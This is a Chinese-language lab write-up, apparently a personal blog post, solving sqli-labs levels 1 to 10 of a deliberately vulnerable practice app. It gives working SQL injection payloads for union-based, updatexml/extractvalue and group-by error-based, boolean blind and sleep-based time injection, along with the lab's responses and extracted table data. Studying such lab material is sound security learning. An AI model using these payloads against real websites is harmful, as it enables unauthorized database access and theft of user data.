sqli-labs-Less-1-Less-10

  • 主要工具:

hackbar,firefox、bp
点击目录快速导航
  • 联合注入union

  • Less-1

根据提示输入id(hackbar工具)
输入1成功
输入1'失败
错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
信息:'1'' LIMIT 0,1 其中1'是我们自己输入的
求闭合: 初步判断出为单引号,用-- 对后面的单引号进行注释
?id=1' and 1=1-- -成功
?id=1
' and 1=2-- -失败

求列数
?id=1' and 1=1 order by 1-- -
?id=1
' and 1=1 order by 1,2-- -
?id=1' and 1=1 order by 12,3-- -
?id=1
' and 1=1 order by 1,2,3,4-- -
开始提示Unknown column '4' in 'order clause'
得出列数为3

爆显示位
?id=1' and 1=1 union select 1,2,3-- -
发现并没有显示,让前面的条件报错
?id=1
' and 1=2 union select 1,2,3-- -
得到显示
Welcome Dhakkan
Your Login name:2
Your Password:3

爆数据库
?id=1' and 1=2 union select 1,2,database()-- -
在显示位3处显示:
Your Password:security 爆表 ?id=2' and 2=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- - 在显示位3处: Your Password:emails,referers,uagents,users 爆列 ?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()-- - 在显示位3:Password:id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password 在where加入and table_name='emails'......可以得出每个表有哪些列 emails:Your Password:id,email_id 爆字段 ?id=1' and 1=2 union select 1,2,group_concat(id,0x23,email_id,0x23) from emails-- - 得出所有信息
注:0x23是分隔符

  •  Less-2

输入1'报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
报错在' LIMIT 0,1附近,其中'是我们输入的
初步判断为数字型
playload:?id=1 and 1=2 union select 1,2,database()-- -显示数据库,其他步骤和Less-1相同
  •  Less-3

输入1'报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
报错范围'1'') LIMIT 0,1其中1'为我们输入的
初步判断闭合为')
playload:id=1') and 1=2 union select 1,2,database()-- -
得到数据库,其他步骤见上Less-1
  • Less-4

输入id=1'不报错
输入id="报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
报错范围"1"") LIMIT 0,1其中1"是自己输入的
初步判断闭合为")
构造playload:?id=1") order by 4-- -
回显:Unknown column '4' in 'order clause'

爆数据库:?id=-1") union select 1,2,database()-- -
回显:Your Password:security

其余步骤见上Less-1
  • 报错注入updatexml()

  • Less-5

输入?id=1
回显:You are in...........
输入?id=1'
回显:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
报错范围:'1'' LIMIT 0,1
初步判断闭合为'
但是在构造playload时,输入和Less-1-Less-4类似时未能成功得出显示位

下面介绍几种报错注入的函数

1.updatexml(xml_document,XPath_String,new_value)函数
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 如果将这个参数改为非XPath格式自然会报错
第三个参数:new_value,String格式,替换查找到的符合条件的数据。即更新后的内容
第一个和第三个参数可以随便输入
playload:?id=1' or updatexml(1,concat(0x7e,database()),0)-- -
页面回显:XPATH syntax error: '~security'其中0x7e为自定义分隔符

查看版本信息:
1' or updatexml(1,concat(0x7e,version()),0) or '-- 

查看表信息:
1' or updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema=database())),0) or '-- 
但是回显数据超过一行,无法显示,这时候用limit函数
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) or'-- 
页面回显XPATH syntax error: '~emails'
更改limit参数就可以枚举出所有表信息limit 0,1  12...

查看列信息:
类比表?id=1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)),0)-- -
页面回显:XPATH syntax error: '~id'
更改limit 0,1 1,2...得出所有列,第二个参数和上面几题结构基本一样,可以联想记忆

查看字段:?id=1' or updatexml(1,concat(0x7e,(select concat(id,0x7e,email_id)  from emails  limit 1,1)),0)-- -
页面回显:XPATH syntax error: '~2~Angel@iloveu.com'
更改limit 1,1 2,2...从而得出所有字段信息

2.extractvalue(xml_document,XPath_String)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样

3.group by报错注入
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
原因是由于group by在分组时,会依次取出查询表中的记录并创建一个临时表(表中有两个字段,分别是key和count()),group by的对象就是该临时表的主键。如果临时表中已经存在该主键,则count()的值+1
如果表中不存在则将主键插入到临时表中。例如:group by username时,取username字段的第一个值admin,这使会在临时表中的主键key中查询admin这条数据,如果找到就使count()值加1,如果没找到就插入admin,
并让count()加1 详情见https:
//blog.csdn.net/m0_53065491/article/details/121893986

  •  Less-6

输入'不报错
输入"报错
信息:MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
报错范围:"1"" LIMIT 0,1
初步判断出闭合为"

求显示位
?id=1" and 1=1 order by 3-- -
?id=1" and 1=1 order by 4-- -
报错信息:Unknown column '4' in 'order clause'

爆数据库
在用union select时没有反应所以用updatexml()
?id=1" or updatexml(1,concat(0x7e,database()),0)-- -
其他步骤见Less-5
  • 布尔注入length()、ascii()

  • Less7

输入1’报错,但是没有报错具体信息
报错: You have an error in your SQL syntax 
这样就要尝试找闭合,但是第一个是'因为报错了
1')-- -
1'))-- -
1'))-- -不报错
初步判断闭合为'))
用联合注入和报错注入都没能成功

尝试使用布尔盲注
?id=1'and length((select database()))>7--+ #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是security数据库长度就是7 ?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。
布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13-- - 判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99-- - 逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'))>20-- - 判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'),1,1))>99-- - 逐一判断字段名。 ?id=1' and length((select group_concat(id,email_id) from emails))>109-- - 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(id,email_id) from emails),1,1))>50-- - 逐一检测内容。 可以发现这样一个一个挖掘内容要累死了,可以把这些CV进一个txt文档,然后用bp暴力破解,通过返回字段长度来找出差别。 第二种方式是利用SQL来进行文件读写,写入shell文件,这里不多做叙述,后面遇到再进行解决。
  • Less-8

输入1'报错没有回显
输入输入1''成功显示
初步判断闭合为‘
括号必须闭合完,单引号可以不闭合完,可以注释掉,括号不可以
其余步骤见Less-7
  • 时间注入sleep()

  • Less-9

这一关不管输入' " ) )显示信息都不变,所以不适合布尔盲注
这里尝试时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法:
if(left(user(),1)='a',0,sleep(3));
语句构造方式与布尔盲注基本类似,只是在外面加了一层if判断,判断为真返回第二个值,不成功返回第三个值sleep(3)

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。

?id=1'and if(length((select database()))>7,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'),1,1))>99,sleep(5),1)--+
逐一判断字段名。

?id=1' and if(length((select group_concat(id,email_id) from emails))>109,sleep(5),1)--+
判断字段内容长度
 
?id=1' and if(ascii(substr((select group_concat(id,email_id) from emails),1,1))>50,sleep(5),1)--+
逐一检测内容。

下图可以看到响应时间为5秒

 

  •  Less-10

通过响应时间来判断闭合
?id=1” and if(1=1,sleep(5),1) -- -
初步判断闭合为"
其余步骤见Less-9
  • tips

    查看源码后发现前四题只有一行或者两行不一样,这影响着闭合,输入敏感的单引号后可以发现报错,且有关于闭合的报错信息,做题的时候总是充满未知,没有的话就尝试双引号,括号等几种或者组合,这里使用的联合注入很容易就解决了,但是在做5、6题根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西,但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位,所以采用报错注入。在第7、8题中虽然可以看出有报错但是没有报错信息,所以尝试布尔盲注使用undatexml()函数,在第9、10题中无论输入什么页面显示都不变,这里就尝试使用时间注入,通过页面响应时间来获得相关信息。

  这些题目都可以使用sqlmap来自动注入,后面会进行sqlmap的使用笔记。

 

 

posted @ 2023-03-22 20:08  Bin_Go  阅读(29)  评论(0编辑  收藏  举报